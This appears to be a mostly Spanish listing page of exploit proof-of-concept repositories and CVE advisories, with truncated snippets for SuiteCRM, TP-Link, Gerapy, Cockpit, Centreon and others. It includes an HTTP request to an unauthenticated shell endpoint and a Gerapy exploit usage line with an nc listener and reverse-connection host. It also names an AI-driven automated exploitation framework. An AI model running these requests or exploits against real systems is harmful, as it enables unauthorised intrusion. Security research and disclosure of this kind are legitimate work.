CVE-2021-45897

CVE-2021-45897 PoC para CVE-2021-45897, también conocido como SCRMBT-180 - RCE mediante Plantillas de Correo Electrónico solo autenticado en SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 Ejemplo de uso: .venv ➜ CVE-2021-45897...

CVE-2026-0834

CVE-2026-0834 PoC Omisión de Autenticación en el Protocolo de Depuración de Dispositivos TP-Link TDDP CVE-2026-0834 Resumen Una vulnerabilidad en el servicio TDDP Protocolo de Depuración de Dispositivos TP-Link permite a atacantes remotos no autenticados en la red local ejecutar comandos...

CVE-2026-25546-godot-mcp-0.1.1-OS-Command-Injection

PoC CVE-2026-25546 - Inyección de Comandos del Sistema Operativo en godot-mcp Autor: Mohammed Idrees Banyamer GitHub: mbanyamer Fecha: 04 de febrero de 2026 Título del Exploit godot-mcp 0.1.1 - Inyección de Comandos del Sistema Operativo a través de projectPath CVE CVE-2026-25546 CWE CWE-78...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

PoC CVE-2026-25512 – RCE autenticado en Group-Office mediante el manejador TNEF Autor: Mohammed Idrees Banyamer Handle: @banyamersecurity GitHub: mbanyamer Fecha: 04 de febrero de 2026 Título del exploit Group-Office Intermesh 26.0.4 – RCE autenticado mediante el manejador de adjuntos TNEF CVE...

CVE-2026-25130-Cybersecurity-AI-CAI-Framework-0.5.10

CVE-2026-25130 – Inyección de Argumentos / Inyección de Comandos del Sistema Operativo en el Framework de IA de Ciberseguridad CAI – PoC Autor: Mohammed Idrees Banyamer País: Jordania GitHub: https://github.com/yourusername Instagram: @banyamersecurity Resumen Este repositorio contiene una Prueba...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - Plantilla de Nuclei para RCE no autenticado en OpenCode para escaneo. solicitud de burp suite POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 POST /session/"id"/shell HTTP/1.1 Host:...

cve-2021-32849

cve-2021-32849 cve-2021-32849 ejecución de comandos en Gerapy Uso Primero, abre un nc para escuchar y luego usa el exploit para atacar. python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

shennina

Shennina Automating Host Exploitation with AI Abstract Shennina is an automated host exploitation framework. The mission of the project is to fully automate the scanning, vulnerability scanning/analysis, and exploitation using Artificial Intelligence. Shennina is integrated with Metasploit and Nm...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 ejecución de comandos en Gerapy Descargo de responsabilidad El script es solo para fines de aprendizaje y referencia; no lo utilices para atacar sitios web de otras personas de forma malintencionada. Si se viola la ley o se cometen actos ilícitos, todas las...

shocker

Shocker A tool to find and exploit servers vulnerable to Shellshock Ref: https://en.wikipedia.org/wiki/Shellshocksoftwarebug Released as open source by NCC Group Plc - https://www.nccgroup.trust/ Developed By: Tom Watson, tom dot watson at nccgroup dot trust https://github.com/nccgroup/shocker...

CVE-2026-12542

A flaw was found in Foreman. The foreman-tail utility is vulnerable to OS command injection due to the unsafe use of the eval command. The script takes user-supplied arguments and incorporates them directly into a string that is then executed by eval to expand file paths. Because the input is not...

CVE-2026-12545

A flaw was found in rubygem-hammercli. A command injection vulnerability exists in Hammer CLI and the Railties Ruby on Rails component distributed with Satellite due to the insecure interpolation of the $EDITOR environment variable into the Ruby system method. By passing a single interpolated...

CVE-2026-104018

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...

CVE-2026-102369

Tapo C120 v1 and C200 V5 do not adequately protect login challenge data or sanitize attacker-controlled input processed by the MacTool handler. An unauthenticated attacker on the same local network can replay login challenge data to obtain an administrative session, enable a privileged service th...

CVE-2026-102294

TP-Link TL-WR841N contains an authenticated OS command injection vulnerability in the IPv6 WAN configuration. A crafted IPv6 Gateway value is improperly incorporated into a system command, allowing an authenticated administrator to execute arbitrary operating system commands. Successful...

wheelaudit

wheelaudit Escáner de seguridad para archivos Python Wheel — analiza archivos .whl en busca de problemas de seguridad antes de la instalación. Motivado por CVEs recientes en el manejo de wheels de Python: CVE-2026-24049 : Path traversal en el desempaquetado de wheels permite la manipulación de...

tapo-c260-rce

Cadena RCE Tapo C260 CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653 Prueba de concepto de cadena de explotación para la cámara IP TP-Link Tapo C260 que logra RCE de no autenticado a root encadenando tres vulnerabilidades descubiertas por Eugene Lim Spaceraccoon. Créditos Toda la investigación y el...

CVE-2026-28363

🔴 CVE-2026-28363 — Security Advisory ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗ ██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝ ███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗...

CVE-2026-4802

CVE-2026-4802 - Ejecución Remota de Código mediante Inyección de Comandos en Cockpit Un exploit de prueba de concepto para CVE-2026-4802, una Ejecución Remota de Código mediante Inyección de Comandos en la interfaz de registros del sistema de Cockpit loadServiceFilters Configuración Compila y...

Centreon-Exploits-2026

Exploits para CVE-2026-2749, CVE-2026-2751 y CVE-2026-2750 Este repositorio contiene exploits para CVE-2026-2749, CVE-2026-2751 y CVE-2026-2750 en Centreon, explotando vulnerabilidades de Path Traversal, Inyección SQL e Inyección de Comandos. Versiones Vulnerables Todas las versiones anteriores a...